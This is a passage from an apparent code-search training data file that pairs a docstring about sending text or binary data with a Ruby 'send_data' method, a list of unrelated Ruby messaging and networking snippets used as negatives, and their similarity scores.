message[\"ip_address\"], message[\"port\"]\n end\n\n if message[\"type\"] == \"JOINING_NETWORK_RELAY\"\n tnh, tm, tn = nextHop(message[\"node_id\"])\n nh, gm, gn = nextHop(message[\"gateway_id\"])\n if @routing_table.has_key?([0, tm, tn]) == false\n #puts \"h6\"\n @routing_table[[0, tm, tn]] = {:node_id => message[\"node_id\"], :ip_address => message[\"ip_address\"], \\\n :port => message[\"port\"]}\n end\n if tnh.ip != nil\n joinMsgRelay = {:type => \"JOINING_NETWORK_RELAY\", :node_id => message[\"node_id\"], \\\n :gateway_id => message[\"gateway_id\"], \\\n :ip_address => message[\"ip_address\"], :port => message[\"port\"]}.to_json\n @socket.send joinMsgRelay, 0, tnh.ip, tnh.port\n end\n tempRouteTable = []\n @routing_table.each_value { |addr|\n tempRouteTable.push(addr)\n }\n routingInfoMsg = {:type => \"ROUTING_INFO\", :gateway_id => message[\"gateway_id\"], :node_id => message[\"node_id\"], \\\n :ip_address => @localInetAddr.ip, :port => @localInetAddr.port, :route_table => tempRouteTable}.to_json\n if nh.ip != nil\n @socket.send routingInfoMsg, 0, nh.ip, nh.port\n end\n end\n\n=begin\n when getting a routing info message extract as much useful information out of it as we can and forward it onto the\n intended target node unless it was intended for our node\n=end\n if message[\"type\"] == \"ROUTING_INFO\"\n routeInfo(message[\"route_table\"])\n if message[\"node_id\"] == @guid\n return\n elsif message[\"gateway_id\"] == @guid\n if @gateway_table.has_key?(message[\"node_id\"])\n p @socket.send message.to_json, 0, @gateway_table[message[\"node_id\"]][:ip_address].to_s, @gateway_table[message[\"node_id\"]][:port]\n else\n puts \"Routing_Info message receave error not key in gatewayTable!\"\n end\n else\n nh, gm, gn = nextHop(message[\"node_id\"])\n message = message.to_json\n if nh.ip != nil\n @socket.send message, 0, nh.ip, nh.port\n end\n end\n end\n\n # If get a leaving message, remove the node from the network\n if message[\"type\"] == \"LEAVING_NETWORK\"\n removeAddr(message[\"node_id\"])\n end\n\n # When receive an chat message,check if it is intended for\n # If not, forward to next hop\n if message[\"type\"] == \"CHAT\"\n if message[\"target_id\"] == @guid\n flag = true\n for i in 0..@postHash.length-1\n if @postHash[i][:text] == message[\"post\"]\n flag = false\n end\n end\n if flag\n @postHash << {:text => message[\"post\"]}\n end\n ackChatMsg = {:type => \"ACK_CHAT\", :node_id => message[\"sender_id\"], :Tag => message[\"Tag\"]}.to_json\n if message[\"sender_id\"] == @guid\n puts \" \"\n print @name, \" CHATTING WITH YOURSELF\" # If processes own chatting message, no need to send an ACK\n puts \" \"\n return\n end\n nh, sm, sn = nextHop(message[\"sender_id\"])\n @socket.send ackChatMsg, 0, nh.ip, nh.port\n else\n nh, tm, tn = nextHop(message[\"target_id\"])\n if nh.ip != nil\n @socket.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n\n # Keep forwarding until this ACK_CHAT message reaches its destination\n if message[\"type\"] == \"ACK_CHAT\"\n if message[\"node_id\"] == @guid\n tagHash = Hash_Func(message[\"Tag\"])\n @chatAckWait[tagHash] = 2\n else\n nh, m, n = nextHop(message[\"node_id\"])\n if nh.ip != nil\n @socket.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n\n=begin\n Keep forwarding chat_retrieve message until it reaches correct location in which case appending @postHash to a\n chat response message and send it to the sender ID\n=end\n if message[\"type\"] == \"CHAT_RETRIEVE\"\n if message[\"node_id\"] == @guid\n chatresponse_msg = {:type => \"CHAT_RESPONSE\", :tag => message[\"tag\"], :node_id => message[\"sender_id\"],\n :sender_id => @guid, :response => @postHash}.to_json\n nh, sm, sn = nextHop(message[\"sender_id\"])\n @socket.send chatresponse_msg, 0, nh.ip, nh.port\n else\n nh, tm, tn = nextHop(message[\"node_id\"])\n message = message.to_json\n if nh.ip != nil\n @socket.send message, 0, nh.ip, nh.port\n end\n end\n end\n\n=begin\n Keep forwarding response until reach intended recipient and then put results in flag.\n Original chat_retrieve thread can process the results\n=end\n if message[\"type\"] == \"CHAT_RESPONSE\"\n if message[\"node_id\"] == @guid\n @chat_retrieveAckWait[message[\"sender_id\"]] = message[\"response\"]\n else\n nh, tm, tn = nextHop(message[\"node_id\"])\n if nh.ip != nil\n @socket.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n # Upon receiving a PING, sending to next hop and generating ACK\n if message[\"type\"] == \"PING\"\n ackMsg = {:type => \"ACK\", :node_id => @guid, :ip_address => @localInetAddr.ip, \\\n :port => @localInetAddr.port}.to_json\n @socket.send ackMsg, 0, message[\"ip_address\"], message[\"port\"]\n if message[\"target_id\"] != @guid\n #puts @name, \"PNH\", message[\"target_id\"], Time.now\n nh, m, n = nextHop(message[\"target_id\"])\n if nh.ip != nil\n message[\"ip_address\"] = @localInetAddr.ip\n message[\"port\"] = @localInetAddr.port\n @socket.send message.to_json, 0, nh.ip, nh.port\n end\n end\n end\n\n # Receiving an ACK message proves the node is still alive\n if message[\"type\"] == \"ACK\"\n @checkAckWait[message[\"node_id\"]] = 2\n end\n end",
"def text_params\n {\n 'ToUserName' => 'FAKE_VALID_USERNAME',\n 'FromUserName' => 'FAKE_VALID_FROMUSERNAME',\n 'CreateTime' => '1501489767',\n 'MsgType' => 'text',\n 'Content' => 'ping', # will send a pong\n }\nend",
"def message(channel, data)\n\t\t\tmessage = {:channel => channel, :data => {:channel => channel}, :ext => {:private_pub_token => config[:secret_token]}}\n\t\t\tif data.kind_of? String\n\t\t\t\tmessage[:data][:eval] = data\n\t\t\telse\n\t\t\t\tmessage[:data][:data] = data\n\t\t\tend\n\t\t\tmessage\n\t\tend",
"def publish(channel, message)\n super(channel, MultiJson.encode(message))\n end",
"def create\n @bless_message = BlessMessage.create(bless_message_params)\n @bless_message.sender = current_user\n\n if @bless_message.save\n render json: @bless_message.as_json(methods: [:sender_avatar, :sender_username]), status: :created\n else\n render json: @bless_message.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def publish_to_http(params)\n api = params.delete(:api)\n message_id = params[:msgid]\n\n http = EventMachine::HttpRequest.new(\"http://turntable.fm/api/#{api}\").get(:query => params)\n if http.response_header.status == 200\n # Command executed properly: parse the results\n success, data = JSON.parse(http.response)\n data = {'result' => data} unless data.is_a?(Hash)\n message = data.merge('success' => success)\n else\n # Command failed to run\n message = {'success' => false, 'error' => http.error}\n end\n message.merge!('msgid' => message_id)\n\n # Run the message handler\n event = Faye::WebSocket::API::Event.new('message', :data => \"~m~#{Time.now.to_i}~m~#{JSON.generate(message)}\")\n on_message(event)\n end",
"def send(message)\n message\n end",
"def process\n data = JSON.parse(@message)\n Log.info data.ai\n end",
"def message_hash parrent, msg\n {\n message: msg,\n type: parrent.class.name,\n id: parrent.id\n }\n end",
"def publish_message(user, message)\n @exchange.publish({:user => user, :message => message}.to_json)\n end",
"def payload\n msg = {\n data: {\n alert: alert,\n badge: badge || \"Increment\",\n },\n }\n msg[:data][:sound] = sound if sound.present?\n msg[:data][:title] = title if title.present?\n msg[:data].merge! @data if @data.is_a?(Hash)\n\n if @expiration_time.present?\n msg[:expiration_time] = @expiration_time.respond_to?(:iso8601) ? @expiration_time.iso8601(3) : @expiration_time\n end\n if @push_time.present?\n msg[:push_time] = @push_time.respond_to?(:iso8601) ? @push_time.iso8601(3) : @push_time\n end\n\n if @expiration_interval.is_a?(Numeric)\n msg[:expiration_interval] = @expiration_interval.to_i\n end\n\n if query.where.present?\n q = @query.dup\n if @channels.is_a?(Array) && @channels.empty? == false\n q.where :channels.in => @channels\n end\n msg[:where] = q.compile_where unless q.where.empty?\n elsif @channels.is_a?(Array) && @channels.empty? == false\n msg[:channels] = @channels\n end\n msg\n end",
"def received(message)\n if message.respond_to?(:encoding) && message.encoding != 'UTF-8'\n message.force_encoding 'UTF-8'\n end\n data = JSON.parse message, :symbolize_names => true\n\n case data[:type]\n when 'text'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.message @user, data[:text], name_color, data[:client_ts]\n when 'av-invite', 'av-accept', 'av-close'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n av_message data\n when 'sync'\n @last_event_id = data[:last_event_id].to_i\n sync_events\n when 'ping'\n respond pong: { nonce: data[:nonce], client_ts: data[:client_ts] }\n when 'relay'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.relay @user, data[:to], data[:body], data[:client_ts]\n end\n end",
"def send(event, data = {})\n\t\t@ws.send({:event => event, :data => data}.to_json)\n\tend",
"def message_hash msg\n {\n message: msg,\n type: self.class.name,\n id: self.id\n }\n end",
"def create\n user = User.find_by(token: params[:token])\n new_message_params = {\n text: message_params[:text],\n conversation_id: message_params[:conversation_id],\n user_id: user.id,\n username: user.username\n }\n @message = Message.new(new_message_params)\n conversation = Conversation.find(message_params[:conversation_id])\n\n if @message.save\n # render json: @message, status: :created, location: @message\n serialized_data = ActiveModelSerializers::Adapter::Json.new(\n MessageSerializer.new(@message)\n ).serializable_hash\n MessagesChannel.broadcast_to conversation, serialized_data\n head :ok\n else\n render json: @message.errors, status: :unprocessable_entity\n end\n end",
"def publish message, root\n puts \"message: #{message.inspect}\"\n puts \"text: #{message['text']}\"\n @messages.shift if @messages.size == @@MAX_MESSAGES \n @messages << { 'head' => '?', 'text' => message[ 'text' ] }\n\n root[ @@CHAT_CHANNEL ] = @messages\n\n [ true, 200 ]\n end",
"def broadcast_msg(msg_params)\n uri = \"cgi-bin/masssend?t=ajax-response&token=#{@token}&lang=zh_CN\"\n headers = {\n referer: 'https://mp.weixin.qq.com/cgi-bin/masssendpage'\\\n \"?t=mass/send&token=#{token}&lang=zh_CN\",\n host: 'mp.weixin.qq.com'\n }\n resource = RestClient::Resource.new(@home_url, headers: headers,\n cookies: @cookies)\n post_msg_res = resource[uri].post msg_params\n JSON.parse post_msg_res.to_s\n end",
"def handle_message(data)\n if @encoding == :etf\n handle_etf_message(data)\n else\n handle_json_message(data)\n end\n end",
"def message( message )\n\tend",
"def send_message(message)\n message = JSON.parse(message)\n params = {email:message[\"email\"],project:message[\"project\"],event:message[\"event\"],count:message[\"count\"]}\n @connection.get '/activities', params\n end",
"def as_json(*args)\n raise TypeError, ':action is missing, cannot generate a valid Hash for ProtocolMessage' unless action\n raise TypeError, ':msg_serial or :connection_serial is missing, cannot generate a valid Hash for ProtocolMessage' if ack_required? && !has_serial?\n\n attributes.dup.tap do |hash_object|\n hash_object['action'] = action.to_i\n hash_object['messages'] = messages.map(&:as_json) unless messages.empty?\n hash_object['presence'] = presence.map(&:as_json) unless presence.empty?\n end.as_json\n end",
"def to_simple_message\n {\n text: self.message\n }\n end",
"def message_params\n params.require(:message).permit(:text, :result, :protocol, :response, :recipient, :sender, :url, :token, :appname)\n end",
"def create\n # if params[:user_id].to_i == current_user[:id]\n # return\n # end\n @message = Message.new(message_params)\n @message.user = current_user\n @message.room_id = params[:room_id]\n @messages = Message.all\n ActionCable.server.broadcast \"room_channel_#{@message.room_id}\", message: @message\n\n if @message.save\n render json: @message\n else\n render plain: \"Failed to create a message\", status: :unprocessable_entity\n end\n end",
"def create\n mesg = Message.new({user_id: @current_user.id, receiver_id: params[:receiver_id], content: params[:content], request_id: params[:request_id]})\n if mesg.save\n render json: {\n status: 'success',\n message: 'Your message was sent',\n data: mesg,\n },\n status: :created\n else\n render json: {\n status: 'error',\n message: 'Message not sent',\n data: mesg.errors\n },\n status: :unprocessable_entity\n end\n end",
"def send_json(hash)\n data = MultiJson.dump(hash)\n send(data)\n end",
"def incoming \n response.headers[\"Content-Type\"] = \"text/plain; charset=utf-8\"\n #Read params from the text message\n \n if (params[:uid] && params[:body])\n @userid = params[:uid]\n @body = params[:body] \n \n sms = Sms.new(:raw => @body, :login => @userid)\n \n sms.parse\n \n user = User.find_by_login(sms.login)\n \n if user.nil?\n render :text => \"User #{sms.login} couldn't be found, have you signed up at #{AZIMUTH_DOMAIN}?\" \n else\n hunt = user.hunt\n if hunt.nil?\n render :text => \"User #{sms.login} doesn't appear to have signed up for a hunt. Please sign up for one at #{AZIMUTH_DOMAIN}.\"\n else\n if hunt.aasm_current_state == :hunting\n discovery = Discovery.new(:treasure => user.current_treasure, :key => sms.key, :lat => sms.lat, :lng => sms.lng, :hunt => hunt, :user => user)\n hunt.attempt_open_treasure_chest(discovery, user)\n user.save!\n hunt.save!\n discovery.save!\n \n if discovery.success?\n render :text => \"\" # don't send extra texts since the hunt will do it for us...\n else\n render :text => \"What you texted didn't open the treasure chest :-(. Coords: #{sms.lat} #{sms.lng}. Key: #{sms.key}\"\n end\n else\n render :text => \"The hunt #{hunt.name} is currently in #{hunt.state.humanize} state. Please wait for the hounds to be released to get your first clue.\"\n end\n end\n end\n else\n render :text => \"\"\n end\n \n end",
"def send_hash\n @user = User.find(params[:user_id])\n @id1 = params[:user_id]\n @file_uploads = FileUpload.find_by_id(params[:file_upload_id])\n @md5 = Digest::MD5.file(@file_uploads.attachment.path).hexdigest \n @message = RequestMessage.create(:status_code=>502, :file_hash=>@md5, :file_upload_id=>@file_uploads[:id], :user_id=>@id1)\n #if @message.save\n redirect_to user_file_uploads_path\n #end\n end",
"def send_data hash\n raise 'not implemented'\n end",
"def message(channel, data)\n message = {:channel => channel, :data => {:channel => channel}, :ext => {:private_pub_token => @token}}\n if data.kind_of? String\n message[:data][:eval] = data\n else\n message[:data][:data] = data\n end\n message\n end",
"def send_message(message)\n body = message.is_a?(String) ? options.merge(text: message) : options.merge(message.as_json)\n\n conn = Faraday.new(url: @base_uri)\n\n response = conn.post('', payload: body.to_json)\n\n response\n end",
"def send_message_notification\n message = MessageBlueprint.render_as_json(self)\n ActionCable.server.broadcast \"conversation_#{ self.conversation_id }_notification_channel\", message\n # receiver = self.conversation.user_one_id == self.user_id ? self.conversation.user_two_id : self.conversation.user_one_id\n # response = self.attributes.merge(user: self.user&.name)\n # ActionCable.server.broadcast \"user_#{ receiver }_notification_channel\", response.as_json.to_s\n end",
"def onmessage(&block)\n super( &proc do |msg|\n msg = JSON.parse(msg)\n Hammer.logger.debug \"Websocket recieved: #{msg}\" if config[:logger][:show_traffic]\n block.call msg\n end)\n end",
"def post(request, _params)\n formatter = WeChatMessageFormatter.new\n message = formatter.parse_incoming_message(request.body.read.to_s)\n # Parse the WeChat message XML format\n\n if message['valid']\n # Queue the message for delayed processing\n @db_manager.store_message(message)\n\n # WeChat always requires incoming user messages to be acknowledged at\n # least with an empty string (empty strings are not shown to users),\n # see: https://chatbotsmagazine.com/building-chatbots-for-wechat-part-1-dba8f160349\n # In this sample app, we simulate a \"Customer Service\"-like scenario\n # providing an instant reply to the user, announcing that a complete\n # reply will follow.\n reply = \"Thank you for your message. We will get back to you as soon as possible!\"\n return formatter.format_instant_reply(message, reply)\n end\n\n return 'Message was sent in a wrong format.'\n end",
"def send_message\n message = render_to_string(:partial => 'messages/message', :object => @message)\n Juggernaut.send_to_channel(javascript_chat_message(message), @message.channel_id)\n end",
"def message(event)\n req = Message.from_wire(event.data)\n\n if req.type == \"rpc\" then\n # Execute the requested method and return the result\n # Do it asynchronously so as not to hold up the EM-loop while the command is running\n @thread_pool.perform do\n json_req = req.json_request\n logger.debug { \"RPC request\\n#{json_req}\" }\n json_response = @handler.new(req).handle(json_req)\n EM.next_tick { ws.send(Response.new(json_response, req.id).to_wire) }\n end\n\n elsif req.type == \"rpc_result\" then\n # Pass the result back to the caller\n res = req.json_response\n logger.debug { \"RPC_RESULT for request id [#{req.id}]\\n#{res}\" }\n @responses[req.id].response = res\n\n elsif req.type == \"connect\" then\n # Agent request to CONNECT to the manager\n # will only be received by the server-end of the channel\n logger.debug { \"CONNECT request #{req.id}\"}\n ret = @handler.new(req).connect(req.json_request, self)\n if ret.kind_of? JsonResponse then\n ws.send(Response.new(ret, req.id).to_wire)\n else\n ws.send(Response.new(JsonResponse.new(\"success\"), req.id).to_wire)\n end\n\n end\n end",
"def create\n #If the POST contains either parameter we know we are dealing with multiple messages to sync\n if (params.has_key?(:total_in_messages) || params.has_key?(:total_out_messages))\n if (params.has_key?(:total_in_messages))\n i = 0\n while i < params[:total_in_messages] do\n message = Message.new()\n phoneNum = params[:in_messages][\"sms\" + i.to_s][:number].gsub(/[^0-9]/i, '')\n phoneNum.slice!(0) if (phoneNum.size != 10)\n message.origin = phoneNum\n message.destination = \"DEVICE\"\n message.timestamp = params[:in_messages][\"sms\" + i.to_s][:timestamp]\n message.message = params[:in_messages][\"sms\" + i.to_s][:message]\n message.user = User.find_by_username(params[:username])\n message.save\n i += 1\n end\n end\n if (params.has_key?(:total_out_messages))\n i = 0\n while i < params[:total_out_messages] do\n message = Message.new()\n phoneNum = params[:out_messages][\"sms\" + i.to_s][:number].gsub(/[^0-9]/i, '')\n phoneNum.slice!(0) if (phoneNum.size != 10)\n message.origin = \"DEVICE\"\n message.destination = phoneNum\n message.timestamp = params[:out_messages][\"sms\" + i.to_s][:timestamp]\n message.message = params[:out_messages][\"sms\" + i.to_s][:message]\n message.user = User.find_by_username(params[:username])\n message.save\n i += 1\n end\n end\n render :json => {:status => \"1\"}, :status => :created\n #Otherwise it's a single message we are syncing\n else\n @message = Message.new()\n phoneNum = params[:origin].gsub(/[^0-9]/i, '')\n phoneNum.slice!(0) if (phoneNum.size != 10)\n @message.origin = phoneNum\n @message.message = params[:message]\n @message.timestamp = params[:timestamp]\n @message.user = User.find_by_username(params[:username])\n @message.destination = params[:destination]\n\n if @message.save\n render :json => {:status => \"1\"}, :status => :created\n else\n render :json => {:status => \"0\"}, :status => :unprocessable_entity\n end\n end\n end",
"def publish_to_socket(params)\n message = params.to_json\n data = \"~m~#{message.length}~m~#{message}\"\n @socket.send(data)\n end",
"def post_message(params)\n self.class.post('/chat.postMessage', body: params.merge({token: @token})).tap do |response|\n raise \"error posting message: #{response.fetch('error', 'unknown error')}\" unless response['ok']\n end\n end",
"def publish_message(message)\n raise Error, \"No server specified.\" unless @server\n url = URI.parse(@server)\n\n form = Net::HTTP::Post.new(url.path.empty? ? '/' : url.path)\n form.set_form_data(:message => message.to_json)\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = url.scheme == \"https\"\n http.start {|h| h.request(form)}\n end",
"def message_params\n params.fetch(:message, {})\n end"
] |
[
"0.64630187",
"0.6411132",
"0.63846236",
"0.6372812",
"0.63547486",
"0.6353235",
"0.63348615",
"0.6319651",
"0.6243127",
"0.6243127",
"0.6239985",
"0.62027514",
"0.618329",
"0.6130725",
"0.6118807",
"0.6084757",
"0.60483766",
"0.6025956",
"0.59947616",
"0.5980335",
"0.5980298",
"0.596965",
"0.5953704",
"0.5924253",
"0.5924078",
"0.58799344",
"0.5865109",
"0.5857568",
"0.5836869",
"0.5836869",
"0.5830853",
"0.58244336",
"0.5812482",
"0.5806162",
"0.5785994",
"0.57681936",
"0.57665426",
"0.5755549",
"0.5751241",
"0.57434696",
"0.57389605",
"0.5736898",
"0.57260007",
"0.5721886",
"0.57153356",
"0.57120264",
"0.5711742",
"0.57059705",
"0.57038575",
"0.5693555",
"0.5659361",
"0.565639",
"0.5656122",
"0.5644676",
"0.56418186",
"0.5639024",
"0.56363344",
"0.56348974",
"0.5622643",
"0.5613054",
"0.56122816",
"0.5610355",
"0.5599647",
"0.5597271",
"0.55949664",
"0.5593065",
"0.55889374",
"0.55869",
"0.55797",
"0.55759716",
"0.5574636",
"0.55736184",
"0.55644345",
"0.55596125",
"0.5557294",
"0.5549442",
"0.55447197",
"0.5544457",
"0.5542924",
"0.55398625",
"0.5519769",
"0.55087787",
"0.55048454",
"0.5498533",
"0.54963744",
"0.54921675",
"0.5480641",
"0.5473101",
"0.5472514",
"0.547197",
"0.5470696",
"0.546932",
"0.5466164",
"0.54659384",
"0.5465552",
"0.54646355",
"0.5461113",
"0.54552007",
"0.54496914",
"0.54485965"
] |
0.6747904
|
0
|
Send the data given by the data param if running on a posix system this uses Ruby's fork method to send if on windows fork won't be attempted. +data+:: the data to send +type+:: :text or :binary, defaults to :text
|
def send_data(data, type = :text)
pid = Thread.new do
do_send(data, type)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def _send_data(data)\n send_data(data + \"\\r\\n\")\n end",
"def send_data(data)\n str_data = data.pack('C*')\n super(str_data)\n end",
"def send_data(data)\n case data\n when nil\n put_string(\"NIL\")\n when String\n send_string_data(data)\n when Integer\n send_number_data(data)\n when Array\n send_list_data(data)\n when Time\n send_time_data(data)\n when Symbol\n send_symbol_data(data)\n when EM::IMAP::Command\n send_command(data)\n else\n data.send_data(self)\n end\n end",
"def send_data(data, options = T.unsafe(nil)); end",
"def send_data(data)\n logdebug \"send_data:\", :data => data\n attempt_write(data)\n end",
"def send(data)\n debug [:send, data]\n send_data(\"\\x00#{data}\\xff\")\n end",
"def send(data)\n debug [:send, data]\n send_data(\"\\x00#{data}\\xff\")\n end",
"def send_data(data)\n @impl.send_data data\n end",
"def send_data(data)\n case data\n when nil\n put_string(\"NIL\")\n when String\n send_string_data(data)\n when Integer\n send_number_data(data)\n when Array\n send_list_data(data)\n when Time\n send_time_data(data)\n when Symbol\n send_symbol_data(data)\n else\n data.send_data(self)\n end\nend",
"def send_raw(data)\n # puts \"Sending data\"\n # puts_data(data)\n write(data)\n end",
"def send_data( type, data )\n data = data.to_s\n\n msg = @buffers.writer\n msg.write_long data.length + 1\n msg.write_byte type\n msg.write data\n\n @channel.send_data msg\n end",
"def send_data data\n\t size = data.bytesize if data.respond_to?(:bytesize)\n\t size ||= data.size\n\t\tEventMachine::send_data @signature, data, size\n\tend",
"def send_data(io, data)\n loop do\n n = io.syswrite(data)\n return if n == data.bytesize\n data = data[n..-1]\n end\n end",
"def send_data(pipe, data)\n pipe.write(data, \"\\n#{MSG_ENDI}\\n\")\nend",
"def send_data(data); nil; end",
"def send_binary(data)\n @driver.binary(data)\n end",
"def send_data( data )\n\t\tjson = data.to_json\n\t\tbytes = json.bytesize\n\t\tputs \"SEND %3i bytes to %s: %s\" % [bytes,name,json] if $DEBUG\n\t\tunless @socket.closed?\n\t\t\t@socket.write [bytes].pack('n')\n\t\t\tunless @socket.closed?\n\t\t\t\t@socket.write(json) == bytes\n\t\t\tend\n\t\tend\n\tend",
"def send_data(data)\n \n return nil if @connection.nil? or data.nil? or data.empty? \n \n begin\n @connection.send(data, 0)\n puts \"#{self.class} send to #{@tcp_ip}:#{@tcp_port} this: #{data.to_hex}\" if $debug\n rescue\n @connection = nil\n return nil\n end\n \n end",
"def send_data data\n super \"#{data}\\n\"\n Events.dispatch(:raw_out, Message.new(self, data, true))\n\n @lines_sent += 1\n @bytes_sent += data.bytesize + 1\n\n $log.debug(\"IRCConnection.send_data #{@name}\") { data }\n end",
"def send_data(data)\n super(data)\n puts \"#{self} send_data done: #{data.inspect}\"\n end",
"def send_data(data)\n super(data)\n puts \"#{self} send_data done: #{data.inspect}\"\n end",
"def send( data )\n # Final text data header:\n header = 0b10000001\n\n # Payload size to use (data will always be unmasked):\n size = \"#{data}\".size\n\n # Standard payload:\n if size < 126 then\n @connection.write [ header, size, \"#{data}\" ].pack \"C2A#{size}\"\n\n # 16-bit extended payload:\n elsif size <= 65535 then\n bytes = [ size ].pack( \"S\" ).unpack( \"C2\" ).reverse.map( &:to_i )\n @connection.write [ header, 126, *bytes, \"#{data}\" ]\n .pack \"C4A#{size}\"\n\n # 64-bit extended payload:\n else\n bytes = [ size ].pack( \"S\" ).unpack( \"C8\" ).reverse.map( &:to_i )\n @connection.write [ header, 127, *bytes, \"#{data}\" ]\n .pack \"C10A#{size}\"\n end\n end",
"def send_data( data )\n @connection.register_data_request( self, data )\n end",
"def serialize(_object, data)\n IO.popen(@cmd, 'w') {|io| io.write(data) }\n end",
"def send_data_packet( data )\n # overhead is ( byte.length + id.length + strlen.length ) = 9\n data, data_to_return = split_data_for_packet( data.to_s, 9 )\n @window_size -= data.length\n\n msg = @buffers.writer\n msg.write_byte CHANNEL_DATA\n msg.write_long @remote_id\n msg.write_string data\n @connection.send_message msg\n\n data_to_return\n end",
"def send data\n data = [data.bytesize, *data.bytes].pack 'NC*'\n\n @socket.send data, 0\n end",
"def send(data)\n @conn.send serialize data\n end",
"def send! data\n send_output_io! data if @output_io || host\n send_log_io! data if log_io\n self\n end",
"def send_data p_data\n dump_object(p_data,@lifeline)\n end",
"def write(data)\n `#@native.send(#{data.to_n})`\n end",
"def write(data)\n\n max_write = self.options['pipe_write_max_size'] || data.length\n min_write = self.options['pipe_write_min_size'] || max_write\n\n if(min_write > max_write)\n max_write = min_write\n end\n\n idx = 0\n\n if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)\n while(idx < data.length)\n bsize = (rand(max_write-min_write)+min_write).to_i\n len = self.socket.write(data[idx, bsize])\n idx += bsize\n end\n else\n self.socket.write(data)\n end\n\n data.length\n end",
"def send(data, opt={:type => :text})\n puts \"send ***************\"\n return if !@handshaked or @closed\n puts \"after send************\"\n type = opt[:type]\n frame = ::WebSocket::Frame::Outgoing::Client.new(:data => data, :type => type, :version => @handshake.version)\n begin\n @socket.write frame.to_s\n rescue Errno::EPIPE => e\n @pipe_broken = true\n emit :__close, e\n end\n end",
"def write(data)\n @handle.writeData(data)\n end",
"def stream_send(data)\n self[STREAM_SEND].call(data)\n end",
"def send_data(data)\n super(data)\n @@log.warn \"#{self} send_data done: #{data.inspect}\"\n end",
"def send_with_reply( type, data=nil )\n send_packet type, data\n read_packet\n end",
"def send_data(data)\n jsonified_data = data.to_json\n log('sending', jsonified_data)\n super(jsonified_data)\n end",
"def send_data(data, options = {}) #:doc:\n logger.info \"Sending data #{options[:filename]}\" if logger\n send_file_headers! options.merge(:length => data.size)\n @performed_render = false\n render :status => options[:status], :text => data\n end",
"def receive_data(data)\n @client.send_command(SendDataCommand.new(@connection_id, data))\n end",
"def send_msg(data)\n @send_lock.synchronize{\n TCP.em.schedule { send_data(data) }\n }\n end",
"def write(data)\r\n Win32API.new(\"msvcrt\", \"_write\", \"lpl\", \"l\").call(@fd, data, 1)\r\n end",
"def send_data(data, options = {}) #:doc:\n send_file_headers! options.merge(:length => data.size)\n throw :halt, [options[:status] || 200, [data]]\n end",
"def write data\n _data[:out].write data\n _data[:out].flush\n end",
"def send(data)\n @socket.send(data, SEND_FLAGS)\n end",
"def write(data)\n end",
"def send_raw(data)\n raise ::Pwnlib::Errors::EndOfTubeError if @conn.nil?\n\n data.gsub!(context.newline, \"\\r\\n\") if @convert_newlines\n begin\n @conn.write(data)\n rescue RubySerial::Error\n close\n raise ::Pwnlib::Errors::EndOfTubeError\n end\n end",
"def send_raw(data)\n socket.send_raw data\n end",
"def send_chunk(data)\n response.write('%x' % data.size + \"\\r\\n\")\n response.write(data + \"\\r\\n\")\n end",
"def send_data( data )\n raise \"channel not open\" unless @state == :open\n @channel.send_data data\n end",
"def receive_data data\n command preprocess_data(data), @command_groups, true\n end",
"def send(data, flags = 0)\r\n SocketError.check if (ret = Winsock.send(@fd, data, data.size, flags)) == -1\r\n ret\r\n end",
"def send_data(data)\n @lock.synchronize do\n\n @send_buffer += data\n limited_by_polling = (@last_send + @http_polling >= Time.now)\n limited_by_requests = (@pending_requests + 1 > @http_requests)\n\n # Can we send?\n if !limited_by_polling and !limited_by_requests\n data = @send_buffer\n @send_buffer = ''\n\n Thread.new do\n Thread.current.abort_on_exception = true\n post_data(data)\n end\n\n elsif !limited_by_requests\n Thread.new do\n Thread.current.abort_on_exception = true\n # Defer until @http_polling has expired\n wait = @last_send + @http_polling - Time.now\n sleep(wait) if wait > 0\n # Ignore locking, it's already threaded ;-)\n send_data('')\n end\n end\n\n end\n end",
"def process(data)\n end",
"def send_binary(data)\n if @handler\n @handler.send_frame(:binary, data)\n else\n raise WebSocketError, \"Cannot send binary before onopen callback\"\n end\n end",
"def process_data(type, data)\n case type\n when :boolean\n MuseekBindings::BinUtils.pack_boolean(data)\n when :uint32\n MuseekBindings::BinUtils.pack_uint32(data)\n when :string\n MuseekBindings::BinUtils.pack_string(data)\n end\n end",
"def send_message(data, flag, host, port)\n\t\tsocket = UDPSocket.new\n\t\tserialized = Marshal.dump(data)\n\t\tsocket.send serialized, flag, host, port\n\t\tsocket.close\n\t\tputs \"Sending #{data} to #{host}:#{port}\"\n\t\tsleep(0.025)\n\tend",
"def sends_data(data)\n script.sends_channel_data(self, data)\n end",
"def process(data)\n end",
"def send_packet( type, data=nil )\n buffer = @buffers.writer\n buffer.write_long( ( data ? data.length : 0 ) + 1 )\n buffer.write_byte type.to_i\n buffer.write data.to_s if data\n @socket.send buffer.to_s, 0\n end",
"def send_and_get_data data\n send_data data\n get_data_with_timeout data.size\n end",
"def process_data\n unless @state.include?(:rcpt)\n send_data \"503 Operation sequence error\\r\\n\"\n else\n succeeded = proc {\n send_data \"354 Send it\\r\\n\"\n @state << :data\n @databuffer = []\n }\n failed = proc {\n send_data \"550 Operation failed\\r\\n\"\n }\n\n d = receive_data_command\n\n if d.respond_to?(:callback)\n d.callback(&succeeded)\n d.errback(&failed)\n else\n (d ? succeeded : failed).call\n end\n end\n end",
"def write(data)\n ret = io.write data\n @receivers.each do |r|\n Fiber.new { r.call data }.resume\n end\n ret\n end",
"def send(data)\n @client.send(data)\n end",
"def puts data\n\t\t@write_semaphore.synchronize do\n\t\t\t@write_data = data\n\t\t\t@write_cv.signal\n\t\tend\n\tend",
"def perform( handle, data, offset=0 )\n @handle = handle\n @offset = offset\n @data = data\n @pos = 0\n\n @driver.write( nil, handle, offset, data[0,CHUNK_SIZE] )\n end",
